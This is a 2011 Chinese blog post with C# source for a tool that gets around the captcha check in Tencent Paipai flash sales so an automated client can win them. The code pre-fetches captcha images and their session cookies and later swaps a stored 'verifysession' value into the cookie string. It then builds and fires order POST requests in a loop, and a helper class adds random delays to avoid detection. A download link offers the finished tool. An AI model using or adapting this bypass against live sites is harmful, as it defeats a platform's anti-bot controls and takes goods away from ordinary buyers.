记录点滴

记录生活

  博客园 :: 首页 :: 博问 :: 闪存 :: 新随笔 :: 联系 :: 订阅 订阅 :: 管理 ::

Cookie欺骗 腾讯拍拍秒杀活动的验证码漏洞

请猛击下载:http://blog.csdn.net/wyw308/archive/2011/05/10/6408159.aspx

结合网络上前辈的宝贵经验,配合自己手动抓包分析。发现:

1:再进入倒计时时无论你点刷新有多快,其实页面都是5秒钟才给你提交一次。(可恶的拍拍,蒙了多少朴实鞋童,没分析之前按一到抢拍时间就狂点“刷新”按钮,现在才明白白瞎了)

2:腾讯的验证码来源于第三方服务器,其Set-Cookie并不是保存到本地的cookie,它是一个标志为httponly的cookie,只 存储在标头。具体的验证码地址为专门服务器http://captcha.qq.com/getimage,因此可以进行cookie欺骗。

开发思路:

1:考虑人性化效果,利用webBrowser模拟页面登陆进入抢拍界面,利用webBrowser动态生成主要cookie及post数据元素。

2:手动提前获取多组验证码,保存到容器。

3:时间一到,利用提前获取的验证码,手工构造post数据以及cookie数据,利用httpwebrequest进行底层自动提交。

4:查看返回结果。

[这里只是给出了思路及核心实现代码,细节优化略]

请猛击下载 http://blog.csdn.net/wyw308/archive/2011/05/10/6408159.aspx


一:取宝贝的开始剩余时间: 注意,拍拍网对于宝贝的开始抢拍时间有延时处理,比如倒计时到了3,2,1,娘的,他不开始,又重新回到了3,3,3。。。然后忽然就开始了,这里需要进 行一些技术处理,如自己延时或者直接网上核对,但各有利弊,具体方法大家自己想。这里只给取倒计时by/ http://blog.csdn.net/wyw308

/// <summary>
        /// 返回倒计时毫秒by/ http://blog.csdn.net/wyw308
        /// </summary>
        /// <returns></returns>
        private double RemainTime(out string jsonstr)
        {
            Random ran = new Random();
            double c = ran.NextDouble();//随机处理by /http://blog.csdn.net/wyw308

            string url = "http://ext.paipai.com/oneaday/comdynum?" + GetInputValue("ComdyId") + "&t=" + c.ToString();//宝贝抢拍上架地址by/ http://blog.csdn.net/wyw308

            CookieContainer cc = new CookieContainer();

            HttpHelper.NetworkDelay =0 ;
            HttpHelper.Encoding = Encoding.GetEncoding("GB2312");
            string result = HttpHelper.GetHtml(url, cc);
            result = HttpFunction.Regex_str(result, "{.+?}");
            jsonstr = result;
            Dictionary<string, object> aa = bym.Json.jsonFormat.Deserialize(result); //json格式化返回数据by /http://blog.csdn.net/wyw308
            string a = aa["UploadSec"].ToString();
            if (a != null && a != "")
                return double.Parse(a) * 1000;
            else
                return -1;
        }

二:验证码容器 ,将提前获取的验证码及cookie值保存到此,然后使用

 /// <summary>
        /// 验证码cookie极点队容器 by/ http://blog.csdn.net/wyw308


///将提前获取的验证码及cookie值保存到此,然后使用

   /// </summary>
        public class PPCode
        {


 //by/ http://blog.csdn.net/wyw308

            private string vcode;
            private string vcookie;
            public PPCode()
            {

            }
            public PPCode(string VCODE, string VCOOKIE)
            {
                this.vcode = VCODE;
                this.vcookie = VCOOKIE;
            }
            public string VCODE
            {
                get
                {
                    return this.vcode;
                }
                set
                {
                    this.vcode = value;
                }
            }
            public string VCOOKIE
            {
                get
                {
                    return this.vcookie;
                }
                set
                {
                    this.vcookie = value;
                }
            }
        }

/// <summary>
        /// 访问验证码,取cookie及验证码值  by/ http://blog.csdn.net/wyw308
        /// </summary>
        private void GetPPcode()
        {
            // by/ http://blog.csdn.net/wyw308
            Random ran = new Random();
            double c = ran.NextDouble();
            HttpHelper.Referer = HttpFunction.UrlEnCode(webBrowser1.Url.ToString(), "GB2312").Replace("%3D", "=");//当前页面地址
            string url = "http://ptlogin2.paipai.com/getimage?aid=17000101&CacheTime=" + c;
            url = "http://captcha.qq.com/getimage?aid=17000101&CacheTime=" + c;//验证码的真实地址 by /http://blog.csdn.net/wyw308
            // url = "http://captcha.qq.com/getimage";
            CookieContainer ckcode = new CookieContainer();
            pictureBox1.Image = new Bitmap(HttpHelper.GetStream(url, HttpHelper.CookieContainer, out c_v));
            txt_code.Text = "";
            txt_code.Focus();
        }

三:根据页面动态手工构建post方法 ,这样比较灵活机动,操作起来交互效果好,by/ http://blog.csdn.net/wyw308

  /// <summary>
        /// 动态构造post的数据  by/ http://blog.csdn.net/wyw308
        /// </summary>
        /// <param name="vcode"></param>
        /// <returns></returns>
        private string GetPostD()
        {
            // by/ http://blog.csdn.net/wyw308
            string pd = string.Empty;
            string PostInput = "ComdyId,clsId,Address1,Address,Region,AddressId,PostCode,Name,Mobile,Phone,BuyNum,shippingFeeItem,commodityattr,Encrypt,Rule,BcLevel,sendtype";
  //post的input数据列表,根据抓包和webbrorser分析得到,by /http://blog.csdn.net/wyw308        

string[] s_input = PostInput.Split(new char[] { ',' });
            for (int i = 0; i < s_input.Length; i++)
            {
                if (i == 0)
                    pd = GetInputValue(s_input[i]);
                else
                    pd = pd + "&" + GetInputValue(s_input[i]);
            }

            string PostSelect = "mProvince,mCity,mTown";//post的select数据列表by /http://blog.csdn.net/wyw308
            string[] s_select = PostSelect.Split(new char[] { ',' });
            for (int j = 0; j < s_select.Length; j++)
            {
                pd = pd + "&" + GetSelectValue(s_select[j]);
            }
            pd = pd + "&Remark=";

            return pd;
        }
        /// <summary>
        /// 取页面input控件值 by/ http://blog.csdn.net/wyw308
        /// </summary>
        /// <param name="InputName"></param>
        /// <returns></returns>
        private string GetInputValue(string InputName)
        {
            // by/ http://blog.csdn.net/wyw308
            string str = string.Empty;
            HtmlDocument doc = webBrowser1.Document;
            HtmlElement ipt = doc.GetElementsByTagName("input")[InputName];

            str = InputName + "=" + HttpFunction.UrlEnCode(ipt.GetAttribute("value"), "GB2312");
            return str;
        }
        /// <summary>
        /// 取页面select控件值  by/ http://blog.csdn.net/wyw308
        /// </summary>
        /// <param name="InputName"></param>
        /// <returns></returns>
        private string GetSelectValue(string InputName)
        {
            // by/ http://blog.csdn.net/wyw308
            string str = string.Empty;
            HtmlDocument doc = webBrowser1.Document;

            HtmlElement sels = doc.GetElementsByTagName("select")[InputName];
            HtmlElementCollection opts = sels.Children;//取页面select的有效值时坎坷了老半天,立标留念by /http://blog.csdn.net/wyw308
            for (int i = 0; i < opts.Count; i++)
            {
                if (opts[i].OuterHtml.Contains("selected"))
                    str = InputName + "=" + opts[i].GetAttribute("value");
            }
            return str;
        }

四:动态构建提交需要的cookie by/ http://blog.csdn.net/wyw308

/// <summary>
        /// 动态构建cookie容器  by/ http://blog.csdn.net/wyw308
        /// </summary>
        /// <param name="ck_str"></param>
        /// <param name="domain"></param>
        /// <returns></returns>

public static CookieContainer GetCookieFromStr(string ck_str, string domain)
        {


by/ http://blog.csdn.net/wyw308

            CookieContainer myCookieContainer = new CookieContainer();
            string cookieStr = ck_str;
            string[] cookstr = cookieStr.Split(';');
            foreach (string str in cookstr)
            {
                string[] cookieNameValue = str.Split('=');
                if (cookieNameValue.Length > 1 )
                {
                    Cookie ck = new Cookie(cookieNameValue[0].Trim().ToString(), str.Substring(cookieNameValue[0].Trim().ToString().Length + 2));//网上一个写好的方法,做了调整by/ http://blog.csdn.net/wyw308
                  
                    ck.Domain = domain;
                    ck.Path = "/";
              
                    myCookieContainer.Add(ck);
                }

            }
            return myCookieContainer;
        }

五:自动通过底层提交post及cookie数据,模拟抢拍。

 /// <summary>
        /// 动态构建post及cookie,自动提交
        ///  by/ http://blog.csdn.net/wyw308
        /// </summary>
        private void PostToPai()
        {
            // by/ http://blog.csdn.net/wyw308
            int r_q = 0, r_succ = 0;
            bool qp_ok = false;

            string domain = "ext.paipai.com";//cookie的域名,一定要写对,by /http://blog.csdn.net/wyw308

            string url = HttpFunction.UrlEnCode(webBrowser1.Url.ToString(), "GB2312").Replace("%3D", "=");//当前页面地址

            HtmlElement hl = webBrowser1.Document.GetElementById("fixupformid");
            string PostUrl = string.Format(hl.GetAttribute("action"));//得到提交的地址

            //动态构建提交需要的cookie值 by/ http://blog.csdn.net/wyw308
            string ck_str = webBrowser1.Document.Cookie;//页面数据生成的cookie值
            string ck1 = "";
            string ck2 = "";
            int ver_num = ck_str.IndexOf("verifysession");//截取无用的验证码cookie串,用提前获取的验证码替换
            if (ver_num != -1)
            {
                ck1 = ck_str.Substring(0, ver_num);
                ck2 = ck_str.Substring(ver_num + 98);
            }
            else
                ck1 = ck_str;

            string postd = GetPostD();//得到post数据by/ http://blog.csdn.net/wyw308

            for (int i = 0; i < pp.Count; i++)//循环已经提前获取的验证码及cookie  by/ http://blog.csdn.net/wyw308
            {
                if (i == 0 && !ckb_sg.Checked)//第一次提交随机延时
                {
                    WriMsg("开始抢拍了....");
                    //Random r = new Random();
                    int tys = int.Parse(txt_ys.Text.Trim());
                    //int ys = r.Next(tys, 2 * tys + 1000);

                    WriMsg("延时" + tys.ToString() + "毫秒...");
                    Thread.Sleep(tys);
                }
                ck_str = ck1 + pp[i].VCOOKIE + ck2;
                CookieContainer PostCookie = new CookieContainer();
                PostCookie = HttpWeb.GetCookieFromStr(ck_str, domain);//构造最终提交的cookieby/ http://blog.csdn.net/wyw308

                string postdata = string.Format(postd + "&verifycode=" + pp[i].VCODE);//构造最终post数据by/ http://blog.csdn.net/wyw308

                HttpHelper.Encoding = Encoding.GetEncoding("GB2312");
                if (ckb_sg.Checked || i == 0)
                    HttpHelper.NetworkDelay = 0;
                else
                    HttpHelper.NetworkDelay = int.Parse(txt_jg.Text.Trim());//发送请求随机间隔时间
                HttpHelper.Referer = HttpFunction.UrlEnCode(url, "GB2312");

                WriMsg("正在发送请求...");

                r_q = r_q + 1;
                if (string.IsNullOrEmpty(postdata))//记录异常,由于拍拍反限制因此有莫名错误,调试时使用,by /http://blog.csdn.net/wyw308
                {
                    string errmsg = i.ToString() + "#Err#PostUrl:\r\n" + url + "\r\n" + PostUrl + "\r\n" + pp[i].VCODE + "#" + pp[i].VCOOKIE + "\r\n\r\nPostData:\r\n" + postdata + "\r\n\r\nCookie:\r\n" + ck_str + "\r\n\r\nResult:\r\n";
                    HttpPaipai.Msg(HttpFunction.UrlDeCode(errmsg, "GB2312"));
                    return;
                }
                string result = HttpHelper.GetHtml(PostUrl, postdata, true, PostCookie);//最终提交请求by /http://blog.csdn.net/wyw308
                result = HttpFunction.NoHTML(HttpFunction.Regex_goup_str(result, "<h5>.+?</h5>|<h5 id=\"errorMsg\">.+?</h5>|ErrMsg:\".+?\",")).Replace(",,", "");
                if (result.Contains("恭喜您"))
                {
                    r_succ = r_succ + 1;
                    if (r_succ >= int.Parse(txt_succ.Text.Trim()))
                        qp_ok = true;
                }
               
                tsl4.Text = "请求:" + r_q.ToString() + ";成功:" + r_succ.ToString();
                WriMsg(result);
              
                //记录日志,方便调试用
                //string msg = "PostUrl:\r\n" + url + "\r\n" + PostUrl + "\r\n" + pp[i].VCODE + "#" + pp[i].VCOOKIE + "\r\n\r\nPostData:\r\n" + postdata + "\r\n\r\nCookie:\r\n" + HttpWeb.GetCookieFromCookieContainer(PostCookie, "http://" + domain) + "\r\n\r\nResult:\r\n" + result;
                //HttpPaipai.Msg(HttpFunction.UrlDeCode(msg, "GB2312"));

                if (qp_ok)
                {
                    pp.Clear();
                    label3.Text = pp.Count.ToString();
                  
                    return;
                }
            }
            //抢拍结束后如果没有抢到立即转到手工模式,补救 by/ http://blog.csdn.net/wyw308
            if (!qp_ok)
            {
                WriMsg("本轮运气不佳,请输入验证码快速补抢...");
                pp.Clear();
                label3.Text = pp.Count.ToString();
                ckb_sg.Checked = true;
                GetPPcode();
            }
        }

软件下载:http://blog.csdn.net/wyw308/archive/2011/05/10/6408159.aspx

用到的httphelp类(感谢原作者),这里做了些细微调整by/ http://blog.csdn.net/wyw308:

using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.IO;
using System.Threading;

namespace bym
{
    public class HttpHelper
    {
        #region 私有变量
        private static CookieContainer cc = new CookieContainer();
        private static string contentType = "application/x-www-form-urlencoded";
        private static string accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-silverlight, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-silverlight-2-b1, */*";
        private static string userAgent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)";
        private static Encoding encoding = Encoding.GetEncoding("utf-8");
        private static int delay = 1000;//延迟访问防止连续访问被发现 3秒
        private static int maxTry =2;
        private static int currentTry = 0;
        private static string referer;
        #endregion

        #region 属性
        /// <summary></summary>
        /// Cookie容器
        ///
        public static CookieContainer CookieContainer
        {
            get
            {
                return cc;
            }
           
        }

        /// <summary></summary>
        /// 获取网页源码时使用的编码
        ///
        /// <value></value>
        public static Encoding Encoding
        {
            get
            {
                return encoding;
            }
            set
            {
                encoding = value;
            }
        }

        public static int NetworkDelay
        {
            get
            {
                Random r = new Random();
                return (r.Next(delay , delay * 2));
            }
            set
            {
                delay = value;
            }
        }

        public static int MaxTry
        {
            get
            {
                return maxTry;
            }
            set
            {
                maxTry = value;
            }
        }
        public static string Referer
        {
            get
            {
                return referer;
            }
            set
            {
                referer = value;
            }
        }
        #endregion

        #region 公共方法
        /// <summary></summary>
        /// 获取指定页面的HTML代码
        ///
        /// <param name="url">指定页面的路径
        /// <param name="postData">回发的数据
        /// <param name="isPost">是否以post方式发送请求
        /// <param name="cookieCollection">Cookie集合
        /// <returns></returns>
        public static string GetHtml(string url, string postData, bool isPost, CookieContainer cookieContainer)
        {
            int err_num = 0;
            if (string.IsNullOrEmpty(postData))
            {
                err_num = 1;
               // return GetHtml(url, cookieContainer);
            }

            Thread.Sleep(NetworkDelay);//延迟访问

            currentTry++;

            HttpWebRequest httpWebRequest = null;
            HttpWebResponse httpWebResponse = null;
            try
            {
                byte[] byteRequest = Encoding.Default.GetBytes(postData);
                err_num = 2;

                httpWebRequest = (HttpWebRequest)HttpWebRequest.Create(url);
                err_num = 3;
                httpWebRequest.CookieContainer = cookieContainer;
                err_num = 4;
                httpWebRequest.ContentType = contentType;
                err_num = 5;
                httpWebRequest.ServicePoint.ConnectionLimit = maxTry;
                err_num = 6;
                httpWebRequest.Referer = referer;
                err_num = 7;
                httpWebRequest.Accept = accept;
                err_num = 7;
                httpWebRequest.UserAgent = userAgent;
                err_num = 8;
                httpWebRequest.Method = isPost ? "POST" : "GET";
                err_num = 8;
                httpWebRequest.ContentLength = byteRequest.Length;
                err_num = 9;
                Stream stream = httpWebRequest.GetRequestStream();
                err_num = 10;
                stream.Write(byteRequest, 0, byteRequest.Length);
                err_num = 11;
                stream.Close();
                err_num = 12;
                httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
                err_num = 13;
                Stream responseStream = httpWebResponse.GetResponseStream();
                err_num = 14;
                StreamReader streamReader = new StreamReader(responseStream, encoding);
                err_num = 15;
                string html = streamReader.ReadToEnd();
                err_num = 16;
                streamReader.Close();
                err_num = 17;
                responseStream.Close();
                err_num = 18;
                currentTry = 0;
                err_num = 19;
                httpWebRequest.Abort();
                err_num = 20;
                httpWebResponse.Close();
                err_num = 21;
                return html;
               
            }
            catch (Exception e)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine(DateTime.Now.ToString("HH:mm:ss ") + e.Message);
                Console.ForegroundColor = ConsoleColor.White;

                HttpWeb.WriteLog(err_num.ToString()+"#"+e.Message, "GetHtmlErr.log");
               
                if (currentTry <= maxTry)
                {
                    GetHtml(url, postData, isPost, cookieContainer);
                }
                currentTry--;

                if (httpWebRequest != null)
                {
                    httpWebRequest.Abort();
                } if (httpWebResponse != null)
                {
                    httpWebResponse.Close();
                }
                return string.Empty;
            }
        }

        /// <summary></summary>
        /// 获取指定页面的HTML代码
        ///
        /// <param name="url">指定页面的路径
        /// <param name="cookieCollection">Cookie集合
        /// <returns></returns>
        public static string GetHtml(string url, CookieContainer cookieContainer)
        {
            int a = 0;
            Thread.Sleep(NetworkDelay);
            a = 1;
            currentTry++;
            HttpWebRequest httpWebRequest = null;
            a = 2;
            HttpWebResponse httpWebResponse = null;
            try
            {
                a = 3;
                httpWebRequest = (HttpWebRequest)HttpWebRequest.Create(url);
                a = 4;
                httpWebRequest.CookieContainer = cookieContainer;
                a = 5;
                httpWebRequest.ContentType = contentType;
                a = 6;
                httpWebRequest.ServicePoint.ConnectionLimit = maxTry;
                a = 7;
                httpWebRequest.Referer = referer;
                a = 8;
                httpWebRequest.Accept = accept;
                a = 9;
                httpWebRequest.UserAgent = userAgent;
                a = 10;
                httpWebRequest.Method = "GET";
                a = 11;
                httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
                a = 12;
                Stream responseStream = httpWebResponse.GetResponseStream();
                a = 13;
                StreamReader streamReader = new StreamReader(responseStream, encoding);
                a = 14;
                string html = streamReader.ReadToEnd();
                a = 15;
                streamReader.Close();
                a = 16;
                responseStream.Close();
                a = 17;
                currentTry--;

                httpWebRequest.Abort();
                a = 18;
                httpWebResponse.Close();
                a = 19;
                return html;
            }
            catch (Exception e)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine(DateTime.Now.ToString("HH:mm:ss ") + e.Message);
                Console.ForegroundColor = ConsoleColor.White;

                HttpWeb.WriteLog(a.ToString()+"#"+e.Message, "GetHtml2.log");

                if (currentTry <= maxTry)
                {
                    GetHtml(url, cookieContainer);
                }

                currentTry--;

                if (httpWebRequest != null)
                {
                    httpWebRequest.Abort();
                } if (httpWebResponse != null)
                {
                    httpWebResponse.Close();
                }
                return string.Empty;
            }
        }
      
        /// <summary></summary>
        /// 获取指定页面的HTML代码
        ///
        /// <param name="url">指定页面的路径
        /// <returns></returns>
        public static string GetHtml(string url)
        {
            return GetHtml(url, cc);
        }

        /// <summary></summary>
        /// 获取指定页面的HTML代码
        ///
        /// <param name="url">指定页面的路径
        /// <param name="postData">回发的数据
        /// <param name="isPost">是否以post方式发送请求
        /// <returns></returns>
        public static string GetHtml(string url, string postData, bool isPost)
        {
            return GetHtml(url, postData, isPost, cc);
        }

      
        /// <summary></summary>
        /// 获取指定页面的Stream
        ///
        /// <param name="url">指定页面的路径
        /// <param name="postData">回发的数据
        /// <param name="isPost">是否以post方式发送请求
        /// <param name="cookieCollection">Cookie集合
        /// <returns></returns>
        public static Stream GetStream(string url, CookieContainer cookieContainer, out string ck_vccode)
        {
            //Thread.Sleep(delay);
            int j = 0;
            currentTry++;
            HttpWebRequest httpWebRequest = null;
            HttpWebResponse httpWebResponse = null;

            try
            {

                httpWebRequest = (HttpWebRequest)HttpWebRequest.Create(url);
                j =1;
                j = 2;
                httpWebRequest.CookieContainer = cookieContainer;
                httpWebRequest.ContentType = contentType;
                j = 3;
                httpWebRequest.ServicePoint.ConnectionLimit = maxTry;
                j = 4;
                httpWebRequest.Referer = url;
                j = 5;
                httpWebRequest.Accept = accept;
                j = 6;
                httpWebRequest.UserAgent = userAgent;
                j = 7;
                httpWebRequest.Method = "GET";
                j = 8;

                httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
                j = 9;
                Stream responseStream = httpWebResponse.GetResponseStream();
                j = 10;
               ck_vccode = httpWebResponse.Headers["Set-Cookie"];
                j =11;
               ck_vccode = ck_vccode.Substring(0, ck_vccode.IndexOf("PATH") - 1);
                currentTry--;
                j = 12;
                //httpWebRequest.Abort();
                //httpWebResponse.Close();

                return responseStream;
            }
            catch (Exception e)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine(DateTime.Now.ToString("HH:mm:ss ") + e.Message);
                Console.ForegroundColor = ConsoleColor.White;

                HttpWeb.WriteLog(j.ToString() + "#" + e.Message, "GetStreamErr.log");

                if (currentTry <= maxTry)
                {
                    GetHtml(url, cookieContainer);
                }

                currentTry--;

                if (httpWebRequest != null)
                {
                    httpWebRequest.Abort();
                } if (httpWebResponse != null)
                {
                    httpWebResponse.Close();
                }
                ck_vccode="";
                return null;
            }
        }

        #endregion

         //CookieContainer co = new CookieContainer();//设置cookie
         //   co.SetCookies(new Uri(server), cookie);//SERVER 抓包里的host
    }
}

posted on 2011-06-30 16:55  啊峰  阅读(1652)  评论(2编辑  收藏  举报